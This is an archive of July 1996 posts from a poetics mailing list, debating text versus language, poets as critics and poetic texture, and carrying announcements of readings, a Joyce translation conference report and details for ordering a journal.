kk, yr play sounds wonderfully delicious. if it's playing between aug 27-sept 3, i'll look forward to taking it in.
md

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366. **filch**
Re: barnacle a (onward)
Fri 12 Jul 1996

Get yer boycotts, yer red hot boycotts! Get em while they last!

> *Yes, and for those so inclined, there are boycotts in many other cities too--and even boycotts you can start yourselves. gab.*

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367. **George Bowering**
Re: text/language
Fri 12 Jul 1996

> *How can text and language be distinguished? I guess have to take a long look at how the word "language" and "text" can and can't sensibly be used. Otherwise into the foggy dew we go. gab.*
>
> *Isn't language much broader? It includes music & other sound-language, visual languages of many kinds, all sorts of symbolic language other than the ones which use letters & words; & usually text is grounded in those letters & words, although I'd be glad to conceive of text more broadly, too.*
>
> *Or, for example, dealing with book arts/artists' books, the text of the book would be whatever language-text is presented therein, but the language of*

> *the book would have to include all its other parts (visual, structural, sometimes aural, etc.) as well. Books can (they don't always, or do they?) make literature physical.*
>
> *charles*

Also depends, I think, on whether yr saying "langue" or "parole", eh? I mean "text" means that which has been twisted into shape, like the material in a rug.

.....
"The Moose stood in the yard."
--Daniel Pinkwater

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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368. **George Bowering**
Re: british women poets
Fri 12 Jul 1996

I would have thought that s0meone wd mention Mina Loy.

.....
"The Moose stood in the yard."
--Daniel Pinkwater

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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369. **George Bowering**
Re: British Women Poets
Fri 12 Jul 1996

Daphne Marlatt

Margaret Avison

.....
"The Moose stood in the yard."
--Daniel Pinkwater

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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370. George Bowering
Re: of the whole art/spam two generations
Fri 12 Jul 1996

> *Hi. What's the unconscious?*
>
> *Jordan*

I dont know what yr talking about.

.....
"The Moose stood in the yard."
--Daniel Pinkwater

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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371. Kevin Killian
Re: white rose
Fri 12 Jul 1996

For those who have asked, Kevin's extravaganza about Jay De Feo will play one night only, Wednesday, October 9, 8 p.m. at the San Francisco Art Institute.

Another "official" announcement about it will be posted closer to the date.

Dodie Bellamy

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372. George Bowering
Re: my stack
Fri 12 Jul 1996

1. _Stones_ by Chenjerai Hove. This was published around 1988 or 1989, but it is still in print, and still current. Hove's second novel in English, _Shadows_ is also very interesting, about people who ask fopr descriptions of their loved ones who died in the war of independence in Zimbwabe, so memory will live. His third novel in English is just out.

2, _Horns for Hondo_ by Lesego Rampolokeng. includes some of the best rap you will ever hear. Lesego is a wonder in a live reading, and if you get the chance to hear him, you'll be better able to read the poems on page.

3. _Guava Juice_ by Sandile Dikeni. If you dont know, you will be interested to hear that "Guave Juice" is code for "Molotov cocktail" in the Townships. You cant go to jail for saying "Guave" yet.

4 _Para que no me Olvides_ by Marcela Serrano. Her third novel, now in 9th printing, to deal with life in the Pinochet and p[ost-Pinochet era.

.....
"The Moose stood in the yard."
--Daniel Pinkwater

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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373. Charles Alexander
Re: british women poets
Fri 12 Jul 1996

> *I would have thought that s0meone wd mention Mina Loy.*

someone did

& what about Canadian women poets writing in French, or is that too complicated? & elsewhere in "the commonwealth" aren't their poets writing in any number of languages, & what might their positions be with regard to various conceptions of British poetry?

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374. James Brook
Re: text/language
Fri 12 Jul 1996

Gabrielle--

Unless one stretches the concept of "text" into very obscure shape, there's no possibility of a text before the advent of writing.

Language is above all *spoken*--linguists tend to see writing systems (which underlie texts) as secondary, derivative, and imperfect recordng devices of the spoken language. Of course, once a language does acquire a writing system, the written language begins to affect the spoken language. The effects of writing were broadened and intensified by printing--spelling, meanings, and usages becoming more fixed and employment prospects for copy editors brightening. (Renaissance scholars were employed by pubishers for this task. By the way, their efforts at restoring Latin to its classical form helped kill off Latin as a living, spoken language.)

James Brook

Gabrielle Welford wrote:
>
> How can text and language be distinguished? I guess have to take a long
> look at how the word "language" and "text" can and can't sensibly be used.
> Otherwise into the foggy dew we go. gab.

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375. Burt Kimmelman
Re: text/language
Fri 12 Jul 1996

George, Gab, et al.

"text, texture, textile"--Kenneth Burke. Long Western history of text and skin and clothing and words via the Christian dispensation (Christ is the word incarnate etc.) but of course it all goes back much further. I'd love to know what the Eastern version of this is. But I'm going on vacation now for a week, so maybe I'll catch up when I get back and if I get to read the backlog stuff (I'm doing the "nomail" set). couldn't resist sticking my oar in the water though.

burt

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376. **Burt Kimmelman**
Re: text/language
Fri 12 Jul 1996

James,

You couldn't be more wrong about "text"--it exists long before writing-- unless, of course, you are construing "text" in a modern sense.

But, again, if you wish to answer me personally on this, you'll have to do it backchannel.

burt
[redacted]

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377. **Burt Kimmelman**
nomail
Fri 12 Jul 1996

I won't be reading Poetics mail for a week or so. i can be reached backchannel. Thanks for your indulgence.

burt kimmelman
[redacted]

↑ Index

378. **Schuchat**
As for poets and critics
Fri 12 Jul 1996

Having been partially trained at one point as a literary critic, but specifically as a literary critic of Chinese literature, I thought I'd note a few observations:

both writing poetry and writing criticism proceed from mystery, or lack of understanding. but with criticism the goal is understanding, lifting the mystery, explanation.

when a poet writes criticism it isn't criticism, its documentation. (except when the poet is writing as a professional critic)

criticism wants to be science, not journalism. poets generally don't have a big problem with journalism, except when it doesn't act to their advantage (bad reviews).

critics usually like philosophy more than rhetoric.

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379. **william marsh**
Re: Critics *vs.* poets? What I miss here are criticisms of poetic technique.
Wed 31 Dec 1969

>What DO you exactly mean by texture?
>Burt
>
>
Burt -- my intent in reversing the terms (poetry of texture as opposed to texture of poetry) was to punctuate my point that we might be better off talking about texture, materiality, shape, design (choose your term) regardless of genre distinctions, rather than talking about a texture of poetry as distinct from, say, a texture of criticism. (Especially when, yeah, there's no established sense of what 'texture' is when applied to...)

Otherwise, to be honest, i'm not too fond of the word, which i had picked up from the previous post.

Thanks for responding.

bmarsh

ps. does email have texture?!

↑ Index

380. **william marsh**
Re: e-mail politics
Wed 31 Dec 1969

At 11:38 AM 7/12/96 +0100, you wrote:
>At 4:00 PM 12/31/69, william marsh wrote:
>
>>distinctions between so-called "poetic"
>>and "critical" writings, as you point out, have been effectively eradicated,
>>most profoundly by those poet/theorists (Susan Howe, Charles Bernstein,
>>among several others) whose work is very much concerned with blurring the
>>disinction.
>
>I think we should pause here and give tribute to those who promoted this
>blurring as a feminist project, particularly the editors/associate
>editors/contributing editors of _HOW(ever)_. Such as Kathleen Fraser, Bev
>Dahlen, Rachel Blau DuPlessis, Frances Jaffer, Susan Gevirtz, Carolyn
>Burke, and Chris Tysh.
>

>Dodie Bellamy
>
>
very good point.

also should point out that the current issue of Chain, which Charles Alexander praised a few days ago, is dealing with 'genre-bending' in some nifty ways.

bmarsh

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381. **henry**
travelin
Fri 12 Jul 1996

Bigmouth Hankovitch is headin to Minneysota for a week (MN - the center of the universe), and he's taking all his awful redundant ideas with him - but keep talking - he'll be his old irascible self when he gets back (look - he's starting to refer to himself as Checkers in the third person - that proves it) - have fun everybody - net some keepers for me - Henry Gould woof woof

Just packin up gettin ready to go...

Gonna leave you now
Goin anyhow
Know where I'm bound
I'm just packin up gettin ready...
to go

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382. **maria damon**
Re: text/language
Fri 12 Jul 1996

---

burt k writes:

"text, texture, textile"--Kenneth Burke.

this is a conjunction that has fascinated me since i became a weaver at 14 (i was already a writer). a few years ago a friend and i were planning to write about this as a meditation on the ironies and complexities of "women's work" --i had been struck by the way feminist lit critics have so often used textile metaphors in ways that are intended to reclaim this pun as "women's work" --but often they reveal, through their use of that metaphor, that they don't know the basics of the craft they are using as metaphor ("broken tapestry" is the name of one such text; what is a broken tapestry? another didn't understand

the way images are created in a woven tapestry, line of weft by line of weft, and was trying to make a complex point about women's writing, sexual violation and philomela or someone else where this lack of knowledge ended up mattering). not that people have to know all the intricate mechanics of every technology they allude to in creating word-texts, or that this is peculiar to feminist literary critics (this just happens to be where we noticed it, since it was the kind of stuff we were reading at the time), but there's a way that this combination pointed, for us, to the ways in which artisanal work is often sentimentalized/gendered in misleading ways. from there we got into stuff like: wanting to get someone to write about actual women working in textile factories and the LACK of artisanal glamor in those modes of production; the economy of circles of women trading and recycling baby-clothes, free stores, etc --textile "businesses" that subvert corporate economies; the ways in which creating text IS like creating textile, despite the occasional clumsy or sentimental ways the trope has been used;the ways in which intellectual labor IS "women's work" because women do it, and doesn't need to be justified by hearkening to an "ancient", socially-coded-feminine art. at first we were going to edit a book, then we were going to collaborate on an article; neither has materialized (so to speak). but i was just thinking about it today and wondering if there was something useful i could "do" with these fragments (like send them to Chain) when burt posted this line.

what *is* the burke reference?
md

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383. **maria damon**
Re: PUI
Fri 12 Jul 1996

naylor rites:
> a big eraser for Christmas -- OK, that
> and tenure.
>
>
ok pau, tenure-vibes coming your way.--md

↑ Index

384. **Robert Drake**
Re: Critics *vs.* poets? What I miss here are criticisms of
Fri 12 Jul 1996

> *ps. does email have texture?!*

as in the structure, frm entymology, text/texture/textile
meaning a weaving ov words, & hence various "threads" ov email
discussion... tho the pessimist in me sees a looming shroud...

lbd

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385. Paul Naylor
PUI
Sat 13 Jul 1996

Well, I expect the List Police to pull me over after this one for Posting Under The Influence, but, after a nasty trip to the dentist and, oh, a few glasses of my favorite personal anesthetic, I feel some comments on this poet/critic thing coming on. Seems like there's still a host/parasite hierarchy lurking around, lo, these many years after the new criticism. I write both poetry and criticism, as do so many on this list, and, although they do constitute different forms of attention, I'd like to think I'm still taking notes in the aviary when I do either. As someone who straddles both lines in my professional life, I'm asking Santa for nothing but a big eraser for Christmas -- OK, that and tenure.

Paul Naylor
SEND
in%"[redacted]"
in%"[redacted]"

SEND
in%"[redacted]"
in%"[redacted]"

↑ Index

386. Rod Smith
Re: As for poets and critics
Sat 13 Jul 1996

Simon--
There's an old reporters saying here in Washington --
"The purpose of journalism is to shoot the wounded." I have to say I find
that a little to accurate. As a poet, journalism means nothing, because
poetry

↑ Index

387. Rod Smith
Re: As for poets and critics
Sat 13 Jul 1996

woops, here's what it was getting to be

> *poets generally don't*
> *have a big problem with journalism, except when it doesn't act to their*
> *advantage (bad reviews).*

Simon-- There's an old reporters saying here in Washington -- "The purpose of journalism is to shoot the wounded." I have to say I find that a little too accurate. As a poet, journalism means nothing, because poetry is almost entirely ignored by major press. & of course I'm being overly rhetorical, most journalists are just shlubs like me, trying to get by. It's all there in Chomsky etc.

Rod

↑ Index

388. Tristan D. Saldana
Re: of the whole art/spam two generations
Sat 13 Jul 1996

On Fri, 12 Jul 1996, George Bowering wrote:

> *Hi. What's the unconscious?*
>
> *Jordan*
>
> *I dont know what yr talking about.*

Nor do I, you.

Tristan

↑ Index

389. Peter Quartermain
DON'T call me!
Sat 13 Jul 1996

Hi, everybody. Sorry to bother you all, but this is the most efficient way I can deal with this problem. Yesterday (11 July) my Eudora crashed in the middle of downloading e-mail from the list, and I can no longer access my incoming mail because the home computer won't accept my password. But for some reason I can still send mail out -- or I can if you get to read this! Since I shall be away in the Queen Charlotte Islands (boast! boast!) from 17 - 27, I will not get this fixed until the end of the month. So if anyone needs to get hold of me or Meredith,

you'll have to fax or use snail-mail please. And you'd better assume I got nothing posted on 11 July, since I only downloaded a handful of stuff. I'll post another general message around 1 August or so, assuming I get this bug fixed.

A dios.

Peter
+ +
Peter Quartermain
128 East 23rd Avenue
Vancouver
B.C.
Canada V5V 1X2
Voice and fax: [redacted]

+ +

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390. Aldon L. Nielsen
Re: To Max Douglas
Sat 13 Jul 1996

alongside the rereading of this wonderful book, I hope some will look up Max Douglas's _Collected Poems_ (White Dot Press 1978), edited by Christopher Weinert and Andrea Wyatt (has ANYBODY heard from Andrea these past eight years or so???)

for those who don't already know, the "David" who appears in the first lines of Irby's _To Max Douglas_ is David Bromige.

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391. Susan Clark
Peter Quartermain call
Sat 13 Jul 1996

********** Forwarded message:

Here is a message forwarded to me by Angela Szeto
([redacted]) for the list.

good wishes out there,
Susan Clark

[redacted]
****

> *Date: Sun, 7 Jul 1996 16:11:46 -0700*
> *X-Sender:* [redacted]
> *To:* [redacted]
> *From:* [redacted] *(Angela Szeto)*
> *Subject: Notice for PQ letters*
>
> *(ahem!)*
>
> *ATTENTION ALL STUDENTS OF PETER ALLAN QUARTERMAIN PAST AND PRESENT*
> *Peter Quartermain will be retiring in two years' time from his position at the University of British Columbia. A group of his students at UBC wish to nominate him for next year's Killam teaching prize as a long overdue gesture of institutional recognition. We need as many anecdotal letters as possible giving details of how wonderful a teacher Peter is. The letters need not be particularly long but they should avoid sounding wishy-washy and vague. If you can cite specific incidences of brilliance then that would be good but otherwise just try to write something that sounds conventionally credible. You should also include when Peter taught you and the course name (if applicable).*
>
> *Letters should be addressed to Dr. Herbert Rosengarten (the head of the English Department at UBC) and sent to the following address:*
> *104-989 West 20th Avenue,*
> *Vancouver, British Columbia,*
> *V5Z 1Y4*
>
> *We would appreciate receiving the letters by September 1, 1996.*
>
> *If you have any questions, you can e-mail them to:* [redacted]
>
> *Thanks everyone.*

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392. Alan Sondheim

cath

Sat 13 Jul 1996

Clara: thinking and loving, writing, the murmur of the world Alan: heard in the hollow of its shell, close by Tiffany: sounding through fathoms of conversations, these souls Honey: who have lost their fathermothers, mewling and Travis: pity! pity! those unborn, unbearable to this dimmed life Joan: changing bodies and directions, changing moods and genders Sandra: down where ripples no longer reflect surface striations, Clara: languages, terms, obseqious semiologies Alan: as if language conveyed meaning humped against the physical Tiffany: which

we hear in our everyday networking and speaking Honey: against or within the abdominal terminal screen Travis: ghosts! ghosts! Joan: the swollen world of the murmur of the world, the ocean Sandra: gone, this gone world, where this speaking forms the cap

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393. **Carnography**
Re: Critics *vs.* poets? What I miss here are criticisms of poetic technique.
Sat 13 Jul 1996

At 12:59 PM 7/12/96, Burt Kimmelman [redacted] is rumored to have typed:

> *okay Bill Marsh,*
> *What DO you exactly mean by texture?*
> *Burt*

Burt:

It depends. What exactly do you mean when you say Bill Marsh?

Hardin

http://www.interport.net/~scrypt

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394. **Carnography**
Re: Critics *vs.* poets? What I miss here are criticisms of poetic technique.
Sat 13 Jul 1996

---

hnry:

> *There are lots of cases of poet-critics, and every poet is a critic and probably every good critic is something of a poet; but maybe what Mark was getting at is the clashes in the arena when the center of the one activity tangles with the other.*

I suppose that's where our takes on writing are different: I revel in the "tangle," in the unresolved dissonance, of an exalted activity (poetic composition) sleeping with what is often dismissed as rational, and parasitic (criticism). _Artifice of Absorption_ is an excellent example of this, as are works like _The Duncaid_. One can also argue that works like Kristeva's _Black Sun_, or De Quincey's and Pater's criticism, obviously, are themselves poetic.

> *When the informed and weaponed reader-critic becomes the arbiter of taste & the explainer of how who done what. Impossible not to cross those lines.*

It isn't necessary to know whether or not "The Raven" was composed as Poe claims it was. To some degree, the posthumous invention of elegant recipes for the composition of pre-exisitng poems are like the imaginary worlds in Ficciones: intricate confections, often delicious in and of themselves.

> *Does anyone else here want to get down into the burial site and discuss the texture of poetry? I'd love to know how the rest of you read and write.*
>
> *Curiosity killed the carp. You're delving into two taboo areas: "secrets of the craft", and "inspiration". I'm not criticizing, just commenting.*

Coleridge, Poe, Mallarme, Campion, Alan Davies--these poets never killed their craft or inspiration by writing about them. I see this in terms of classical music, perhaps, where *texture* and *form*--ie, counterpoint, orchestration, registration, harmonic syntax, linear syntax, units of phrases and their balance within larger units--constitute the music's "meaning." In music, signification is a surface operation: practically speaking, there are no metaphors.

I do respect a individual's reluctance to talk about unconsious activities. When I was friends with Kathy Acker, she used to scream and cry when I asked technical questions. Consequently, I saved my questons for writers who were interested. People whose inspiration depends on a kind of divine ignorance need not respond to my questions about technique.

Still, I find most compositional techniques fascinating, even when they are arbitrary. I have already mentioned Roussel's _How I Wrote Certain of My Books_. Even Keats's letters still fascinate me to this day.

All the best,

Rob Hardin

http://www.interport.net/~scrypt

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395. Carnography

*Re: Critics *vs.* poets? What I miss here are criticisms of poetic technique.*

Sat 13 Jul 1996

---

william marsh typed:

> *My question would be why would we ever expect linguistics and semiotics to "adequately address the texture of a poem"?*

This was merely my polite way of saying that linguistics and semoitics do not entirely address my interest (critically and practically) in poetry.

> *Linguistics and Semiotics*
> *adequately (arguably) address language and meaning, and to the extent that explorations of this type suggest avenues of inquiry when dealing with a particular poem or poetry, they are useful -- in my mind enormously useful -- without necessarily addressing the whole issue o writing.*

I don't disagree with you, for the most part. But L and S address language and meaning within a context that is not always relevant to the systems and conventions of poetic diction and devices. In _Seven Type of Ambiguity, Empson tried to address poetic meaning as embodied in poetic technique; in some ways, he came closer than Jameson to examining the question.

To get to the
> texture of the poem, we read the poem, right? To get to the texture of
> theory, read theory.

I disagree with you completely. Texture is as subject to critical examination as anything else. In the case of poetry, it is often more relevant to discuss assonance or sibilance than it is to discuss borgeiose referents.

> *But what intrigues me about the "open" poetries of this and the last decade*

I did not suggest that "open" poetries were unworthy of discussion. If anything, I suggested that these are as worthy of prosodic scrutiny as "closed" or "formal" poetry: I suggested that the distinction hindered more than it helped. If a line makes you stumble or feels sinuous, nine times out of ten, the result is a measure of the poet's rhythmic skill. Linguistics has little direct information to teach us about rhythm. If the subject of prosodic rhythm were irrelevant, then Pound's criticism would have been useless to Olsen, et al.

(Also: a line that makes you stumble is not necessarily bad. Much language poetry intentionally makes you stumble: The Art of the Rhythmic Non Sequitur, The Art of the Double-Take.)

> *But what intrigues me about the "open" poetries of this and the last decade is the extent to which they seem, to me at least, to share the interest and perspective of ling/semio studies, so that distinctions of these kinds (poetry vs. criticism/theory, etc) seem pointless.*

But I, too, am uninterested in such distinctions. I merely pointed out that certain aspects of the poetry of the last three decades, whatever its school or formal orientation, are inadequately addressed by linguistics as currently practiced. I haven't seen a synthesis of linguistics, semiotics, prosody and diction that addressed what are for me the most exciting and visceral aspects of reading or writing a poem.

The purpose here is not to dismiss linguistics. It is to get poets to talk about how they write and read.

> *Language arts and*
> *language philosophies share the same venue, as much of the work of the last two decades demonstrates (the work not only of "poets" like Howe, Bernstein and Silliman, but also of "critic/theorists" like M. Perloff (Howe, Bernstein and Silliman!)). The way i see it, this suggests a practice in contemporary poetics that goes beyond neat packages like "theoretical poetry" or "poetic theory".*

I get the feeling you're speaking to some earlier poster in this thread. I've read lots of Bernstein, Silliman, Davies, Palmer and so on. I have been intrigued and interested by what they say. But with all due respect, there are other ways to analyze language poetry than the methods employed by their own critical writing. It seems to me that what you're asking for is a very un-postmodern approach: language poet purism.

> *Does anyone else here want to get down into the burial site and discuss the texture of poetry? I'd love to know how the rest of you read and write.*
>
> *How 'bout if we discuss the poetry of texture, which might adequately address the writing of poetry.*

That would be great, Bill. But I also want to address the texture of the poetry itself. The patterns of assonance and alliteration i Keats's "Eve of St. Agnes" will always thrill me (and Robert Gluck) more than anything (however useful and astute) Kristeva ever wrote.

All the best,

Rob Hardin

http://www.interport.net/~scrypt

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396. Carnography
*Re: Critics *vs.* poets? What I miss here are criticisms of poetic technique.*
Sat 13 Jul 1996

Bill Marsh typed:

> *Otherwise, to be honest, i'm not too fond of the word, which i had picked up from the previous post.*

You find the word *texture* to be too vague, perhaps? Look again:

Texture: [L *textura*, fr. *textus*, pp. of *texere* to weave--more at *technical*] 1.: something that is composed of closely interwoven elements. 2.a: The disposition or manner of union of the particles of a body or substance. 3.a: A composite of the elements of prose or poetry <"All these words...meet violently to form

a *texture* immpressive and exciting."--John Berryman.> 4.: A pattern of musical sound created by tones or lines sung together. 5.: a basic scheme or structure; overall structure.

--from Webster's *Third International Dictionary*

> *my intent in reversing the terms (poetry of texture as opposed to texture of poetry) was to punctuate my point that we might be better off talking about texture, materiality, shape, design (choose your term) regardless of genre distinctions, rather than talking about a texture of poetry as distinct from, say, a texture of criticism.*

Then I *was* correct. Your response to my post was actually a response to some other post--since mine had already suggested that distinctions between poetry and criticism were arbitary. However:

I never said anything about "a texture of poetry as distinct from, say, a texture of criticism." I spoke only of wanting to read new criticism that addresses the texture of poetic language.

> *ps. does email have texture?!*

Of course it does--especially *typographical* texture.

http://www.interport.net/~scrypt

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397. **Charles Alexander**

Re: As for poets and critics

Sat 13 Jul 1996

> *both writing poetry and writing criticism proceed from mystery, or lack of understanding. but with criticism the goal is understanding, lifting the mystery, explanation.*

Everything proceeds from mystery, pretty much ends there too. Isn't that the human condition, never to "know" with completion? But I still think a lot of good criticism (Kristeva has been mentioned in this thread, & so has Keats, Olson, and I'd certainly add Walter Benjamin) extends the mystery, perhaps even illuminates without necessary explaining.

> *when a poet writes criticism it isn't criticism, its documentation. (except when the poet is writing as a professional critic)*

This to me doesn't come close to explaining the poets named above, or many essays by Pound, Woolf, Howe, Silliman, . . . So could you explain this a little bit. Or are these cases of the poet writing as professional critic??

> *criticism wants to be science, not journalism. poets generally don't have a big problem with journalism, except when it doesn't act to their advantage (bad reviews).*

Science Journalism Are these the only two choices?

> *critics usually like philosophy more than rhetoric.*

Many poets do, too. But then philosophy can be presented in rhetorical form, too.

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398. **Schuchat**
Re: As for poets and critics
Sat 13 Jul 1996

Rod, what I meant by journalism wasn't so much Bob Woodward's latest revelations of the first lady's inner life, or even Jonathan Yardley's fulminations, as the kind of criticism that Rexroth wrote, in columns for the Saturday Review, San Francisco Examiner, the Nation, etc. Pound's criticism is often the same kind of journalism. for that matter, while I don't particularly appreciate James Fenton's poetry, I do take his reportage as a poet's journalism. of course, what Chomsky is talking about has more to do with why there is no Kenneth Rexroth writing in the SF Examiner today. but equally, The Classics Revisited are probably considered beneath contempt in the academy.

on another topic, wasn't Lorenzo Thomas the best American poet in Vietnam?

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399. **Schuchat**
Re: As for poets and critics
Sat 13 Jul 1996

Charles,

Re "documentation" -- in many cases (Pound, Silliman, Howe, Bernstein, etc), whatever else the poet is doing, the poet is also creating or furthering a context in which his/her own work can be understood. does a critic write the first book to make it possible for you to understand the second book? (maybe Harold Bloom?)

what other options besides science and journalism are there? literature?

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400. **Ron Silliman**

Joyce Conference

Sat 13 Jul 1996

In keeping with our reportage of conferences, somebody sent me the following from the Asian Wall St Urinal.

Joycean scholarship bloomed in China this past week with the convening of the First International Academic Conference on James Joyce in China. While the five-day conference included Joyce scholars from the United States, Hong Kong and Taiwan, and a representative from the James Joyce Center in Dublin, its acknowledged, but humble star was Chinese "Ulysses" translator Professor Jin Di.

Prof. Jin's involvement with Joyce began with a single chapter. After Deng Xiaoping came to power and launched the era of opening and reform, Joyce's works were freed from their classification as "poisonous weeds." The editors at the Tianjin Academy of Social Sciences, seeking to compile an anthology of modern Western literature, approached Jin Di and convinced him to translate one chapter of "Ulysses."

As anyone who has ever begun it can attest, just reading the novel from beginning to end is a major accomplishment. Without access to Western reference materials, translating the shortest chapter -- 12 pages -- took Professor Jin six months. Painful though it was, this effort launched him on his own odyssey that took him to Yale, Oxford, Notre Dame, the National Humanities Center in North Carolina, and the University of Virginia.

Encouraged by the Joyce scholars he encountered and supported by university grants and publishing house advances, Prof. Jin devoted most of the next 16 years to translating "Ulysses." Several of his translated chapters were published in a prestigious Chinese literat ure journal in the mid-1980s and a separate volume was released in 1987. Volumes containing 12 translated chapters appeared in Taiwan in 1993 and in China in 1994.

However, in 1990 a professor named Xiao Qian began his own translation of "Ulysses," in collaboration with his wife. Prof. Xiao finis hed first, and it was his translation that drew the attention of the international news media when it appeared last year. A controversy has subsequently developed as to whether Prof. Xiao made unfair use of Prof. Jin's published translations in crafting his own, and as to whose translation is better.

The controversy is unfortunate, but more important is the availability of "Ulysses" in Chinese; both translations have together been purchased by several hundred thousand Chinese readers over the past two years. Conference

attendees gathered not to dwell on the cont roversy, but to celebrate Joyce's genius, and Prof. Jin's accomplishment.

The conference opened with the reading of a letter from Irish President Mary Robinson in which she praised Prof. Jin's "16-year labor of love in bringing to one billion people the greatest work of twentieth century literature." Mr. Joe Hayes, Ireland's amiable and learned ambassador to China, then addressed the group, reminding them that Chinese intellectuals saw early on in Ireland a link between nationalism and literature which they themselves wished to establish.

At the close of the first day, Ambassador Hayes hosted a dinner reception at his residence where conference participants were joined by Beijing's Irish denizens. Besides facilitating scholarly contacts, the reception also provided Beijing's Irish with an excuse for a party. When the scholars had gone, coolers of Guinness suddenly appeared, Irish music resounded through the residence's formal parlors, and the gathering moved to the patio where the conversation progressed on to more modern Irish concerns.

The conference moved on to Tianjin, where a full schedule of scholarly presentations began, with simultaneous interpretation for the foreign guests. Prof. Jin shared with the participants his views of "Ulysses" and his philosophy of translation.

Simply put, Prof. Jin's goal in translating "Ulysses" was to achieve what he terms "the closest possible approximation in total effect." In other words, he wanted a Chinese reader of "Ulysses" to get the same impression from reading his translation as an English reader would from reading the original. This was a lofty goal, one that required making creative adjustments so as to preserve the flavor of Joyce's prose.

Take, for instance, the palindromes interjected into a conversation by a character named Lenehan. Says Lenehan, "Madam, I'm Adam. And Able was I ere I saw Elba." Faithfully translated into Chinese, "Madam I'm Adam" would read "Furen, wo shi Yadang." It would not be a palindrome and the remark would likely strike a Chinese reader as a non sequitur. To keep the palindromes intact, Prof. Jin changed their meanings. In his translation, Lenehan says, "Furen a, Wo a renfu. Ren neng sheng tian sheng neng ren." Literally translated back from the Chinese, the palindrome now means, "Madam, I am somebody's husband. Man can beat heaven beats able man." (Neng means both "can" and "able" in Chinese.) Prof. Jin thus sacrificed the meaning of the palindrome so he could convey to the Chinese reader the fact that Lenehan is a clown.

Not surprisingly, many of the Chinese scholars chose to discuss Prof. Jin's translation, offering both praise and constructive criticism. A Taiwan scholar argued provocatively that Prof. Jin's use of mainland Chinese dialects to replicate English dialects -- like Shandong dialect for Suffolk English -- made the

translation too difficult for Taiwanese readers. "Taiwan wants to assert its own linguistic uniqueness," she stated, going on to suggest that there be separate translations for Taiwanese and mainland Chinese readers.

Western scholars presented on such topics as "James Joyce and Irish Cultural Rebirth" and "Ulysses in the Context of Modern Western Thought." It was the first trip to China for all the Western participants and their thrill at being here was matched only by their Chinese counterparts' delight at being able to discuss James Joyce with renowned experts. Like foreign businessmen who salivate over the China market, the Western scholars made repeated reference to the fact that 1.2 billion more people are now able to read -- or at least buy -- the "product" they are promoting, Joyce's greatest work.

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401. Joel Kuszai
Meow Press Reading in Toronto
Sat 13 Jul 1996

MEOW PRESS READING / Book Launch

Featuring 3 New Meow Press books:

Michael Basinski, Heebee-Jeebies
Natalee Caple, The Price of Acorn
Wendy Kramer, Patinas

also out from Meow Press:

Meredith Quartermain, Terms of Sale
Lisa Robertson, The Descent

Idler Pub on Sunday July 21 at 8pm.
The reading is free.

The Idler Pub is located at 255 Davenport Rd. TORONTO

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402. Thomas M. Orange
credences
Sat 13 Jul 1996

---

listfolks:

whatever happened to credences? has it folded or did my library simply drop its subscription?

tom orange

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403. **jms**
order chain
Sat 13 Jul 1996

Chain has a new main address:

215 Ashland Avenue
Buffalo, NY 14222
(this is Jena Osman's new address)

I also have a new Chain related address as of 8/1:

182 Elm Street
Albany, NY 12202

Chain can be easily ordered at the rate of
$18 for two issues or $10 for one issue
from Jena Osman or Juliana Spahr by e-mail (we will
bill you) or by mail (send check to UB Foundation).

[redacted]

Thanks for interest.

Juliana Spahr

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404. **McGuire Jerry L**
poetry performance
Sat 13 Jul 1996

It's a hoary argument between poets and actors over which in principle ought to be the better interpreters of poetry. The reasons actors tend to assume they'll be better--their training in voice, pacing, textual analysis, stage presence--can lead to a kind of clinical frigidity that is just the opposite of the absorbed precision that Elizabeth McGrand notes: "as larry heinemann has put it, [good readers] 'see/hear/feel' the images as they read them. in other words, as the reader reads, they too are experiencing he writing." This is to say that even actors who do a _good_ job of reading other people's poetry (and some actors, of course, write and perform their own poems) work from a different set of public assumptions from most poets who read their own. (And, as E.M. notes, plenty of us give excruciating readings, with excesses and deficiencies enough to go around.)

The idea, of course, that actors couldn't possibly be good readers of poetry because actors are natively stupid or inept at public presentation is pretty dim. I am _so_ pleased that no one here made it (in so many words).

And yes, no doubt Creeley is one of the greatest readers of Williams, and Ginsberg is a hoot no matter what. But R.C. has been doing his aw-shucks just-plain-Bob readings so long, and has brought them to such rarity of measure and pace and intonation and persuasion--like any fine actor, he creates the illusion that the words are arising within him as they're spoken, even while you know the things are there on paper--that all his pals and fans (all of us, to be sure) find it hard to keep in mind that he's doing an artful thing in artificial circumstances. Would he do as good a job with Stevens, I wonder, or Donne, or Frost, or Dickinson? He probably wouldn't want to.

Or, to take him off the hook, another problem the actor faces is that his/her skills are designed for specific analysis and adaptation to whatever task is at hand. Theatrical audiences regard this kind of performance when it's successful--when the actor is transparent and transcends his or her immediate, personal presence--as a high achievement. But poetry audiences are different (and Christopher Whipple ought to be given credit for trying something to subvert the preconceptions that separate these audiences), and they differ among themselves pretty considerably--slam audiences, "dramatic reading" audiences, workshop-auxilliary cafe series, culture-hero honors-college public viewings, peer-review artfests, not to mention the best of all, the one where across the coffee table or lying on the rug, one poet reads his/her latest poem to someone to whom all this matters. Dean Taciuch thinks that what matters is "the language," and worries that actors would be concerned with the emotions and meanings. Elizabeth singles out a reading where Martin Espada puts his words and voice in the service of collective improvization. Tony Green worries about a "danger" in the kind of reading he supposes actors would do, and feels that "the poetry is damaged" by it. It seems to me that if "poetry" can be "damaged" by the efforts of a dedicated but incompetent assortment of readers, then (a) it's not worth saving, and (b) it must already be damaged beyond help.

The real problem for Christopher Whipple's actors is one many poets are mostly inclined to shrug off and fake--that of preparing oneself to do justice to a set of poems quite different from one's immediate work. (Unless we have an "instinctive," "natural" gift for discovering the perfectly appropriate commonalities among all "good" "poems" of any place/time/culture. Anyone buying that?) Like E.M. says, the "throaty growl" reading has become so standardized--tougher for women, perhaps, some of whom may in consequence be reduced at times to public declarations of communal merger with their audiences that they don't perfectly make a full-time part of their daily lives--that it does get pressed into

